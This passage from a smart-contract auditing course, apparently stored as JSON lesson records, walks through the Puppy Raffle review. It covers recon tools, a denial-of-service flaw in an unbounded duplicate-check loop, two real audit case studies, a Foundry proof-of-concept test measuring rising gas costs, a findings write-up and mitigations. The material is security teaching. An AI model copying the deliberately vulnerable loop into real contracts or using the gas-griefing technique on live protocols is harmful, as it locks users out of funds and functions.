which other functions!\n\nAnd finally `Solidity: Metrics` gives us a `Contract Summary`\n\n\n\nThis is incredibly valuable. It provides is a clear breakdown of `Internal` vs `External functions` as well as identifies which functions are `payable` and can `modify state`!\n\n### Solidity Visual Developer\n\nThere's another tool I'll briefly mention - some developers swear by it. It's the extension [**Solidity Visual Developer**](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor) for VS Code.\n\nIn addition to providing very similar reporting as Solidity Metrics, the inheritence graph is interactive and it provides syntax highlighting in your code based on variable types.\n\n\n\nCheck it out if you feel it would be useful for adding some clarity to your development and security reviews!\n\nNext we're going to dive deeper into the exciting world of static analysis tools. We'll take a closer look at the Solidity Metrics tool, which we introduced before, and also explore another tool known as Solidity Visual Developer.\n\n### Wrap Up\n\nNow that we've a firm grasp of our tooling options available, let's get started on this `Puppy Raffle` review. We're onto `Recon` - let's start with the documentation.\n", + "updates": [] + }, + { + "lessonId": "9e5aea50-0a65-4d44-940c-5ca0f7662c9f", + "number": 7, + "title": "Recon: Reading docs", + "slug": "recon-reading-docs", + "folderName": "7-recon-reading-docs", + "description": "", + "duration": 2, + "videoUrl": "ZVGX01fRYnBjs4V00gHyS9apA1nHgA102Ed501KvqezHyzc", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/7-recon-reading-docs/+page.md", + "markdownContent": "---\ntitle: Recon - Reading Docs\n---\n\n_Follow along with this video:_\n\n---\n\n### Context from Documentation\n\nOk, we've scoped things out. Let's start with step 1 of `The Tincho` - Reading the documentation.\n\nWhat we've been provided is a little sparse - but read through the README of [**Puppy Raffle**](https://github.com/Cyfrin/4-puppy-raffle-audit).\n\n
\nAbout Puppy Raffle\n\n

\n\n
\n\n# Puppy Raffle\n\nThis project is to enter a raffle to win a cute dog NFT. The protocol should do the following:\n\n1. Call the `enterRaffle` function with the following parameters:\n 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.\n2. Duplicate addresses are not allowed\n3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function\n4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy\n5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.\n\n

\n\n---\n\nAbove we see a pretty clear description of the protocol and it's intended functionality. What I like to do is open a `notes.md` file in my project and summarize things in my own words.\n\n```\n## About\n\n> The project allows users to enter a raffle to win a dog NFT.\n```\n\nUse this notes file to record your thoughts as you go, it'll make summarizing things for our report much easier later.\n\nLet's take a look at some of the code that powers the expected functionality in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "5efe7fcf-556b-464d-96be-e49c83a841a8", + "number": 8, + "title": "Recon: Reading the code", + "slug": "recon-reading-the-code", + "folderName": "8-recon-reading-the-code", + "description": "", + "duration": 5, + "videoUrl": "LPwoILK9EA00IuxBDv1vNL02doAOebBkfzjEPSQ84eZTc", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/8-recon-reading-the-code/+page.md", + "markdownContent": "---\ntitle: Recon - Reading the Code\n---\n\n_Follow along with this video:_\n\n---\n\n### Starting with the Code\n\nWhat I like to do when first assessing a codebase is to start at the `main entry point`. Sometimes this area of a protocol may be a little unclear, but using Solidity: Metrics can help us out a lot.\n\n\n\nPay special attention to the functions marked `public` or `external`. Especially those which `modify state` or are `payable`. These are going to be certain potential attack vectors.\n\n> **Note:** In Foundry you can use the command `forge inspect PuppyRaffle methods` to receive an output of methods for the contract.\n\nI would start with the `enterRaffle` function. Let's take a look.\n\n```js\n/// @notice this is how players enter the raffle\n/// @notice they have to pay the entrance fee * the number of players\n/// @notice duplicate entrants are not allowed\n/// @param newPlayers the list of players to enter the raffle\nfunction enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n players.push(newPlayers[i]);\n }\n\n // Check for duplicates\n for (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n }\n emit RaffleEnter(newPlayers);\n}\n```\n\nStarting with the `NatSpec` we may have a few questions rise.\n\n- _What's meant by # of players?_\n- _How does the function prevent duplicant entrants?_\n\nWrite questions like these in your `notes.md` or even as `@audit` notes inline. These are things we'll want to answer as we progress through the code.\n\n###\n\nOne thing I notice in our next few lines is - I don't really love their naming conventions. `entranceFee` is immutable and nothing in this function makes that clear to me (unless I'm using [**Solidity Visual Developer**](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor)).\n\nWere this a private audit, I may start an `Informational` section in my `notes.md`.\n\n```\n## About\n\n> The project allows users to enter a raffle to win a dog NFT.\n\n## Informational\n\n`PuppyRaffle::entranceFee` is immutable and should follow a more clear naming convention\n\n ie. `i_entranceFee` or `ENTRANCE_FEE`\n```\n\n> **Pro-tip:** In VS Code you can use these keyboard shortcuts to navigate between previous and next cursor positions:\n>\n> - Windows: `Alt + Left/Right Arrow`\n> - Mac:\n> - Previous - `Control + '-'`\n> - Next - `Control + Shift + '-'`\n\n### Wrap Up\n\nWe're going to be bouncing between `Recon` and `Vulnerability` phases a bit in the Puppy Raffle review. Sometimes the lines can be a little blurry, but you'll find a workflow that works well for you with time and experience.\n\nLet's go back to the code.\n", + "updates": [] + }, + { + "lessonId": "4cbdd7b4-0509-4c40-9950-63db5206f49b", + "number": 9, + "title": "Recon: Reading docs II", + "slug": "recon-reading-docs-continued", + "folderName": "9-recon-reading-docs-continued", + "description": "", + "duration": 3, + "videoUrl": "01Y7ckXfjR2ikuPmu1LTs401rW5cLQ6t7VegBDMW7KfoM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/9-recon-reading-docs-continued/+page.md", + "markdownContent": "---\ntitle: Recon - Reading Docs Continued\n---\n\n_Follow along with this video:_\n\n---\n\n### Back to `enterRaffle`\n\n```js\nfunction enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n players.push(newPlayers[i]);\n }\n\n // Check for duplicates\n for (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n }\n emit RaffleEnter(newPlayers);\n}\n```\n\nBack to our `main entry point` function, we see it's using a require statement. Now, this contract is using `pragma 0.7.6`, so custom reverts may not have existed then - but this is a great example of a note we'd want to take and something we should check later.\n\n```js\nfunction enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\"); //@audit - Are custom reverts an option in 0.7.6?\n ...\n}\n```\n\nA few additional details we notice as we traverse the function:\n\n- Our require statement compares to `newPlayers.length` - _what happens if this is 0?_\n- The `entranceFee` is an `immutable variable` - we can confirm this is initialized in the constructor.\n- The raffle is keeping track of who has entered the raffle by pushing each index of `newPlayers[]` to `players[]`.\n\nThe last section of this function is finally our check for duplicates.\n\n```js\n// Check for duplicates\nfor (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n}\n```\n\nWith experience you'll be able to _smell_ bugs. You'll see messy blocks of code like the above and your intuition is going to kick in.\n\nCan you spot the bug🐛?\n\n### Wrap Up\n\nWe've learnt SO MUCH from this single entry point of this contract. I hope you've been taking notes of what we uncover as we go. These protocol's we're going through may be small in scope - but they won't always be. Building strong organizational habits now will benefit you later on.\n\nNext, let's take a look at a repo in which we've compiled simplified examples of common exploits, maybe we'll find the bug mentioned above!\n", + "updates": [] + }, + { + "lessonId": "c05360dd-ce70-4852-ac01-d7f15c9d2f44", + "number": 10, + "title": "sc-exploits-minimized", + "slug": "sc-exploits-minimized", + "folderName": "10-sc-exploits-minimized", + "description": "", + "duration": 2, + "videoUrl": "OSMLqn1AAWsIApMjLLTWOingE2AIOAWjZQfcuest6w8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/10-sc-exploits-minimized/+page.md", + "markdownContent": "---\ntitle: sc-exploits-minimized\n---\n\n_Follow along with this video:_\n\n---\n\n### Exploits, but smaller\n\n```js\n// Check for duplicates\nfor (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n}\n```\n\nThis code above is going to cause something called a Denial of Service or DOS.\n\nIn order to get a better understanding of this bug, let's look at a _minimized_ example of it. If you reference the [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo, half way down you should see something like what's pictured below.\n\n\n\nThis is an amazing resource to test your skills in general and familiarize yourself with common exploits. Addionally the `src` folder of `sc-exploits-minimized` contains minimalistic examples of a variety of vulnerabilities as well.\n\nFor now, let's check out the [**Remix example**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/denial-of-service/DoS.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) of the Denial of Service exploit in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "22735d90-b37e-49c8-9c29-5267ddbf07fa", + "number": 11, + "title": "Exploit: Denial of service", + "slug": "exploit-denial-of-service", + "folderName": "11-exploit-denial-of-service", + "description": "", + "duration": 7, + "videoUrl": "mM00102cLTV005LZgeRkPvCb00ztJPl2FnMv00nAG7XcoshM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/11-exploit-denial-of-service/+page.md", + "markdownContent": "---\ntitle: Exploit - Denial of Service (DoS)\n---\n\n_Follow along with this video:_\n\n---\n\n### Denial of Service\n\nLet's dive right in and take a look at the DoS contract brought up in our [**Remix**](https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/denial-of-service/DoS.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js) example.\n\n
\nDoS Contract\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\ncontract DoS {\n address[] entrants;\n\n function enter() public {\n // Check for duplicate entrants\n for (uint256 i; i < entrants.length; i++) {\n if (entrants[i] == msg.sender) {\n revert(\"You've already entered!\");\n }\n }\n entrants.push(msg.sender);\n }\n}\n```\n\n
\n\nWe can see right away that this `enter` function is doing something very similar to what we saw in `PuppyRaffle::enterRaffle`. Every time someone calls this function, it checks for a duplicate in the `entrants` array, and if one isn't found `msg.sender` is added to `entrants`.\n\nThe problem arises when the size of our `entrants` array grows. Every time someone is added to the `entrants` array, another loop is added to the duplicate check and as a result `more gas is consumed`.\n\n### Remix Example\n\nWe can see this in action by deploying our contract on Remix and comparing the gas consumed when we call this function subsequent times (remember, you'll need to switch your address being used).\n\nHere's what it looks like for the first four people calling the `enter` function.\n\n\n\nThis kind of behavior raises questions about fairness and ultimately is going to lead to a `denial of service` in that it will become impractical for anyone to interact with this function, because gas costs will be too high.\n\n### Exploring DoS attack in Foundry\n\nConveniently, if you clone the [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo. I've included a test suite to illustrate these attack vectors as well.\n\n```bash\ngit clone https://github.com/Cyfrin/sc-exploits-minimized\ncd sc-exploits-minimized\nmake\n```\n\nThe above series of commands will clone the repo and build it locally.\n\nOnce this is done, I want to draw you attention to `/test/unit/DoSTest.t.sol`\n\nTo summarize, this test deploys the same `DoS` contract we've been looking at:\n\n```js\nfunction setUp() public {\n dos = new DoS();\n }\n```\n\nCalls the `enter` function and records the gas costs of those calls:\n\n```js\nvm.prank(warmUpAddress);\n dos.enter();\n\n uint256 gasStartA = gasleft();\n vm.prank(personA);\n dos.enter();\n uint256 gasCostA = gasStartA - gasleft();\n\n uint256 gasStartB = gasleft();\n vm.prank(personB);\n dos.enter();\n uint256 gasCostB = gasStartB - gasleft();\n\n uint256 gasStartC = gasleft();\n vm.prank(personC);\n dos.enter();\n uint256 gasCostC = gasStartC - gasleft();\n```\n\nAnd finally prints the gas costs and asserts that each call is more expensive than the last:\n\n```js\nconsole2.log(\"Gas cost A: %s\", gasCostA);\nconsole2.log(\"Gas cost B: %s\", gasCostB);\nconsole2.log(\"Gas cost C: %s\", gasCostC);\n\nassert(gasCostC > gasCostB);\nassert(gasCostB > gasCostA);\n```\n\nIf we run this test with `forge test --mt test_denialOfService -vvv` we see that the test indeed passes and we get a print out corroborating the vulnerability!\n\n\n\nI challenge you to play with this test a little bit and customize it. See if you can adjust it to print out the gas costs with 1000 entrants!\n\n### Wrap Up\n\nAs can be seen, DoS attacks can be very impactful for a protocol. They can inject unfairness and cause interactions to be prohibitively expensive.\n\nIn our next lesson we'll be looking at a case study of one such attack.\n", + "updates": [] + }, + { + "lessonId": "f92b18c6-4e62-46f7-82d8-5b3c43e6e24d", + "number": 12, + "title": "Case Study: DoS", + "slug": "dos-case-study", + "folderName": "12-dos-case-study", + "description": "", + "duration": 21, + "videoUrl": "lsOACFdb015xAPbt5ecssfxFS2aMG0102ljJW3q8sjAUJE", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/12-dos-case-study/+page.md", + "markdownContent": "---\ntitle: DoS - Case Study\n---\n\n_Follow along with this video:_\n\n---\n\n### Live DoS Examples\n\nIn this lesson, we delve into two different kinds of **Denial of Service Attacks** or **DoS attacks** as they were uncovered from real security reviews. Owen, the founder of Guardian Audits, will share insights from his work, showing us how these vulnerabilities arise and the best frameworks to uncover them.\n\n### Introduction to Owen\n\nThe case studies we'll be covering today are brought to us by Owen - the Founder of Guardian Audits. Guardian Audits was founded 2 years ago and has since made Web3 more secure by uncovering hundreds of vulnerabilities.\n\nIn this lesson, Owen provides a breakdown of audits in which DoS vulnerabilities were uncovered and we're greatly appreciative to Owen for his contributions. 🙏\n\n## Case Study 1: Bridges Exchange\n\nThe first DoS vulnerability we'll touch on was found in the dividends distribution system of the Bridges exchange.\n\n### Attack Mechanics\n\nThe issue arises from an `unbounded for-loop` in the `distributeDividends` function, resulting in the risk of a DoS attack. An ill-intentioned party can cause the distribute dividends function to violate the block gas limit, effectively blocking all dividends by continually generating new addresses and minting minimal quantities of the Bridges pair token.\n\nLet's look at the code.\n\n```js\nfunction distributeDividends(uint amount) public payable lock {\n require(amount == msg.value, \"don't cheat\");\n uint length = users.length;\n amount = amount.mul(magnitude);\n for (uint i; i < length; i++){\n if(users[i] != address(0)){\n UserInfo storage user = userInfo[users[i]];\n user.rewards += (amount.mul(IERC20(address(thiss).balanceOf(users[i])).div(totalSupply.sub(MINIMUM_LIQUIDITY))));\n }\n }\n}\n```\n\nWe can see the `unbounded for-loop` above. This is looping through an array, `users[]`, the length of which has no limits.\n\nThe practical effect of this is that, were the length of the `users[]` array long enough, the gas required to call this function would be prohibitively expensive. Potentially hitting block caps and being entirely uncallable.\n\n### Confirming the Attack Vector\n\nIn order to verify this is a vulnerability. We should invesitgate under what circumstances the `user[]` array can be added to.\n\nBy searching for the variable we see the array is appended to in the mint function:\n\n```js\nfunction mint(address to) external lock returns (uint liquidity){\n ...\n if(IERC20(address(this).balanceOf(to) == 0)){\n users.push(to);\n }\n}\n```\n\nIn theory, an attacker could generate new wallet addresses (or transfer the minted tokens) to call this function repeatedly, bloating the array and DOSing the function.\n\nThe resolution for the Bridges Exchange was to refactor things such that the `for-loop` wasn't needed.\n\n## Case Study 2: Dos Attack in GMX V2\n\nThe second instance of a DoS attack shows up in the GMX V2 system and is entirely different than the Bridges Exchange case mentioned above.\n\n### Attack Mechanics\n\nThe problem arises from a boolean indicator called `shouldUnwrapNativeToken`. This flag can be leveraged to set up positions that can't be reduced by liquidations or ADL (Auto-Deleveraging) orders. When the native token unwraps (with the flag set to true), a position can be formed by a contract that can't receive the native token. This leads to order execution reverting, causing a crucial function of the protocol to become unexecutable.\n\n### Into the Code\n\nLet's investigate what this looks like in code.\n\nWithin the GMX V2 `DecreaseOrderUtils` library we have the `processOrder` function. While processing an order with this library we eventually will call `transferNativeToken` within `TokenUtils.sol`.\n\n```js\nfunction transferNativeToken(DataStore dataStore, address receiver, uint256 amount) internal {\n if (amount == 0) {return;}\n\n uint256 gasLimit = dataStore.getUint(keys.NATIVE_TOKEN_TRANSFER_GAS_LIMIT);\n\n (bool success, bytes memory data) = payable(receiver).call{value: amount, gas: gasLimit} (\"\");\n\n if (success){return;}\n\n string memory reason = string(abi.encode(data));\n emit NativeTokenTransferReverted(reason);\n\n revert NativeTokenTransferError(receiver, amount);\n}\n\n```\n\nUltimately, this is where the problem lies. When a position in the protocol is liquidated, or de-leveraged, and the `shouldUnwrapNativeToken` flag is true, this function is called in the process.\n\nWere the `receiver` address a contract which was unable to receive value - the liquidation of the user would revert every time.\n\nThis is a critical flaw!\n\nYou may notice another potential vulnerability in the same function - the `gasLimit`. Were the receiver a contract address which expended unnecessary gas in it's receive function - this call would also revert!\n\n### Wrap Up\n\nTo summarize, here are a couple things to keep an eye out for which may lead to DoS attacks:\n\n1. **For-Loops**: Take extra caution with for-loops. Ask yourself these questions:\n - Is the iterable entity bounded by size?\n - Can a user append arbitrary items to the list?\n - How much does it cost the user to do so?\n2. **External calls**: These can be anything from transfering Eth to calling a third-party contract. Evaluate ways these external calls could fail, leading to an incomplete transaction.\n\nDoS attacks put simply are - the denial of functions of a protocol. They can arise from multiple sources, but the end result is always a transaction failing to execute.\n\nBe vigilant for the above situations in your security reviews. Let's next look at what a PoC for Denial of Service is like.\n", + "updates": [] + }, + { + "lessonId": "89c740dd-2506-4ce9-87a8-41f58e0a1076", + "number": 13, + "title": "DoS PoC", + "slug": "dos-poc", + "folderName": "13-dos-poc", + "description": "", + "duration": 8, + "videoUrl": "mZ00aPnzz01LUw01Ao1lRc7HOu3WVCQUanHv00n6MzXUGgw", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/13-dos-poc/+page.md", + "markdownContent": "---\ntitle: DoS - PoC (Proof of Code)\n---\n\n_Follow along with this video:_\n\n---\n\n### Back to Puppy Raffle\n\nNow that we possess a little more context and understanding of what a `Denial of Service` attack is, and what it can mean for a protocol, let's return to Puppy Raffle and remind ourselves where we began.\n\n```js\n/// @notice this is how players enter the raffle\n/// @notice they have to pay the entrance fee * the number of players\n/// @notice duplicate entrants are not allowed\n/// @param newPlayers the list of players to enter the raffle\nfunction enterRaffle(address[] memory newPlayers) public payable {\n require(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n players.push(newPlayers[i]);\n }\n\n // Check for duplicates\n for (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n }\n emit RaffleEnter(newPlayers);\n}\n```\n\nThis should look very familiar to us by now:\n\n```js\n// Check for duplicates\n// @audit Possible DoS\nfor (uint256 i = 0; i < players.length - 1; i++) {\n for (uint256 j = i + 1; j < players.length; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n }\n}\n```\n\nAt this point I would add this to my `notes.md`, you may want to come back to this later and continue assessing the code back, but let's go ahead and prove this finding now.\n\n### Proof of Code\n\nIf the protocol has an existing test suite, it's often easier to add our tests to it then write things from scratch.\n\nRun `forge test` to make sure the test suite is working correctly so far!\n\nThere are lots of useful parts of `PuppyRaffle.t.sol` we can use for our PoC.\n\nNow, here's your challenge. I want you to try and write the `Proof of Code` yourself. Build those skills by trying to write a test function that shows the potential `Denial of Service` we've uncovered.\n\n
\n The Proof of Code \n\nGreat! Now that you've _100%_ tried this yourself, let's go through it together.\n\nI would start by harvesting the existing `testCanEnterRaffle` function. This is a great boilerplate for what we're trying to show.\n\n```js\nfunction testCanEnterRaffle() public {\n address[] memory players = new address[](1);\n players[0] = playerOne;\n puppyRaffle.enterRaffle{value: entranceFee}(players);\n assertEq(puppyRaffle.players(0), playerOne);\n}\n```\n\nLet's repurpose this!\n\n```js\nfunction testDenialOfService() public {\n // Foundry lets us set a gas price\n vm.txGasPrice(1);\n\n // Creates 100 addresses\n uint256 playersNum = 100;\n address[] memory players = new address[](playersNum);\n for(uint i = 0; i < players.length; i++){\n players[i] = address(i);\n }\n\n // Gas calculations for first 100 players\n uint256 gasStart = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);\n uint256 gasEnd = gasleft();\n uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;\n console.log(\"Gas cost of the first 100 players: \", gasUsedFirst);\n}\n```\n\nRunning the command `forge test --mt testDenialOfService -vvv` should give us an output like this:\n\n\n\nNow let's do the same thing for the second 100 players! We'll need to add something like this to our test.\n\n```js\n// Creats another array of 100 players\naddress[] memory playersTwo = new address[](playersNum);\nfor (uint256 i = 0; i < playersTwo.length; i++) {\n playersTwo[i] = address(i + playersNum);\n}\n\n// Gas calculations for second 100 players\nuint256 gasStartTwo = gasleft();\npuppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);\nuint256 gasEndTwo = gasleft();\nuint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;\nconsole.log(\"Gas cost of the second 100 players: \", gasUsedSecond);\n\nassert(gasUsedFirst < gasUsedSecond);\n```\n\nIf we rerun our test we can see.. Our test passes! The second 100 players are paying _a LOT_ more and are at a significant disadvantage!\n\n\n\n
\n\n---\n\n### Wrap Up\n\nThat's all there is to it. We've clearly shown a potential `Denial of Service` through our `Proof of Code`. This test function is going to go right into our report.\n\nLet's do that now!\n", + "updates": [] + }, + { + "lessonId": "3eda855d-5826-4449-aeea-cd481090ba34", + "number": 14, + "title": "DoS: Reporting", + "slug": "dos-reporting", + "folderName": "14-dos-reporting", + "description": "", + "duration": 8, + "videoUrl": "XL5qC8ErrYyD16uRBXQSVbJl9EVAXB301jLbmdnkpLQY", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/14-dos-reporting/+page.md", + "markdownContent": "---\ntitle: DoS - Reporting\n---\n\n_Follow along with this video:_\n\n---\n\n### Denial of Service PoC\n\nMaybe you're the type of security reviewer who likes to save all the write ups to the end. There's nothing wrong with that! As you grow and gain experience you'll begin to carve out your own workflow and ways of doing things.\n\nIn future lessons, we may not go through writing things up together, but for now - let's report this uncovered DoS vulnverability\n\nWe of course start with our template, create a `findings.md` file and paste this within:\n\n---\n\n### [S-#] TITLE (Root Cause + Impact)\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\n### Title\n\nRemember the rule of thumb!\n\n` + Impact`.\n\nSo, what's our root cause? Looping through an array to check for duplicates is the cause. What about the impact? Well, this causes a denial of service due to incrementing gas costs!\n\nSo the title I'm going with is something like this:\n\n```\n### [S-#] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants\n```\n\nWhat can I say, I like to be verbose, but at least I'm clear!\n\nRegarding severity, let's consider the impact vs likelihood of this scenario.\n\nImpact - The protocol is unlikely to fully break, it simply makes the raffle more expensive to participate in. I might rate this a `Medium`.\n\nLikelihood - If an attacker wants the NFT badly enough, this will surely happen - but it does cost the attacker a lot. I might settle with `Medium` here as well.\n\nWith an Impact of `Medium` and a likelihood of `Medium`, this finding's severity is going to be decidedly `Medium`.\n\nUpdate our title appropriately `[M-#]`.\n\n### When to do Writeups\n\nOften, I won't do a whole writeup as soon as I think I've found something. The reason for this is simple - I might be wrong! It's entirely possible that I come across more information as I dive deeper into the protocol that makes clear that what I thought was an issue actually isn't.\n\nSometimes I'll just leave my in-line notes indicating my suspicions and come back to them at the end.\n\nFor now, let's write the report as though we're confident this is valid.\n\n### Description\n\nFeel free to write your own description! Remember we want to be clear in how we illustrate the vulnerability and its affects.\n\nHere's mine.\n\n```\n**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.\n\n'''javascript\n// @audit Dos Attack\n@> for(uint256 i = 0; i < players.length -1; i++){\n for(uint256 j = i+1; j< players.length; j++){\n require(players[i] != players[j],\"PuppyRaffle: Duplicate Player\");\n }\n}\n'''\n```\n\n### Impact\n\nThis is pretty clear from our description, but we can expand on things a little more.\n\n```\n**Impact:** The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.\n\nAn attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.\n```\n\n### Proof of Concept/Code\n\nWe did the hard part of this in our previous lesson, but let's add it to our report.\n\n```\n**Proof of Concept:**\n\nIf we have 2 sets of 100 players enter, the gas costs will be as such:\n- 1st 100 players: ~6252048 gas\n- 2nd 100 players: ~18068138 gas\n\nThis is more than 3x more expensivee for the second 100 players.\n\n
\nProof of Code\n\n'''js\nfunction testDenialOfService() public {\n // Foundry lets us set a gas price\n vm.txGasPrice(1);\n\n // Creates 100 addresses\n uint256 playersNum = 100;\n address[] memory players = new address[](playersNum);\n for (uint256 i = 0; i < players.length; i++) {\n players[i] = address(i);\n }\n\n // Gas calculations for first 100 players\n uint256 gasStart = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);\n uint256 gasEnd = gasleft();\n uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;\n console.log(\"Gas cost of the first 100 players: \", gasUsedFirst);\n\n // Creats another array of 100 players\n address[] memory playersTwo = new address[](playersNum);\n for (uint256 i = 0; i < playersTwo.length; i++) {\n playersTwo[i] = address(i + playersNum);\n }\n\n // Gas calculations for second 100 players\n uint256 gasStartTwo = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);\n uint256 gasEndTwo = gasleft();\n uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;\n console.log(\"Gas cost of the second 100 players: \", gasUsedSecond);\n\n assert(gasUsedSecond > gasUsedFirst);\n }\n'''\n\n
\n```\n\n### Wrap Up\n\nClick below to see what our finding report should look like so far!\n\n
\nDoS Writeup\n\n### [M-#] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants\n\n**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.\n\n```javascript\n// @audit Dos Attack\n@> for(uint256 i = 0; i < players.length -1; i++){\n for(uint256 j = i+1; j< players.length; j++){\n require(players[i] != players[j],\"PuppyRaffle: Duplicate Player\");\n }\n}\n```\n\n**Impact:** The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.\n\nAn attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.\n\n**Proof of Concept:**\n\nIf we have 2 sets of 100 players enter, the gas costs will be as such:\n\n- 1st 100 players: ~6252048 gas\n- 2nd 100 players: ~18068138 gas\n\nThis is more than 3x more expensivee for the second 100 players.\n\n
\nProof of Code\n\n```js\nfunction testDenialOfService() public {\n // Foundry lets us set a gas price\n vm.txGasPrice(1);\n\n // Creates 100 addresses\n uint256 playersNum = 100;\n address[] memory players = new address[](playersNum);\n for (uint256 i = 0; i < players.length; i++) {\n players[i] = address(i);\n }\n\n // Gas calculations for first 100 players\n uint256 gasStart = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);\n uint256 gasEnd = gasleft();\n uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;\n console.log(\"Gas cost of the first 100 players: \", gasUsedFirst);\n\n // Creats another array of 100 players\n address[] memory playersTwo = new address[](playersNum);\n for (uint256 i = 0; i < playersTwo.length; i++) {\n playersTwo[i] = address(i + playersNum);\n }\n\n // Gas calculations for second 100 players\n uint256 gasStartTwo = gasleft();\n puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);\n uint256 gasEndTwo = gasleft();\n uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;\n console.log(\"Gas cost of the second 100 players: \", gasUsedSecond);\n\n assert(gasUsedSecond > gasUsedFirst);\n }\n```\n\n
\n
\n\n**Recommended Mitigations:**\n\n
\n\n---\n\nThings look great! Lets finally have a look at what mitigations we can recommend for this vulnerability, in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "48c3d22f-6318-47cb-8781-f8d732186cd4", + "number": 15, + "title": "DoS: Mitigation", + "slug": "dos-mitigation", + "folderName": "15-dos-mitigation", + "description": "", + "duration": 3, + "videoUrl": "nX4J02l7F7OyMhMKc021g2XMWiVTlCJIe6EQlnntumps8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/15-dos-mitigation/+page.md", + "markdownContent": "---\ntitle: DoS - Mitigation\n---\n\n_Follow along with this video:_\n\n---\n\n### Recommended Mitigation\n\nOur next step, of course, is providing a recommendation on how to fix this issue.\n\nWe may be tempted to suggest something like _\"Don't check for duplicates.\"_, but it's important to preserve the original functionality as much as possible. If we do suggest a change in functionality, we must be clear in explaining why.\n\nWith that said, here are some potential suggestions we could make.\n\n1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.\n\n2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle 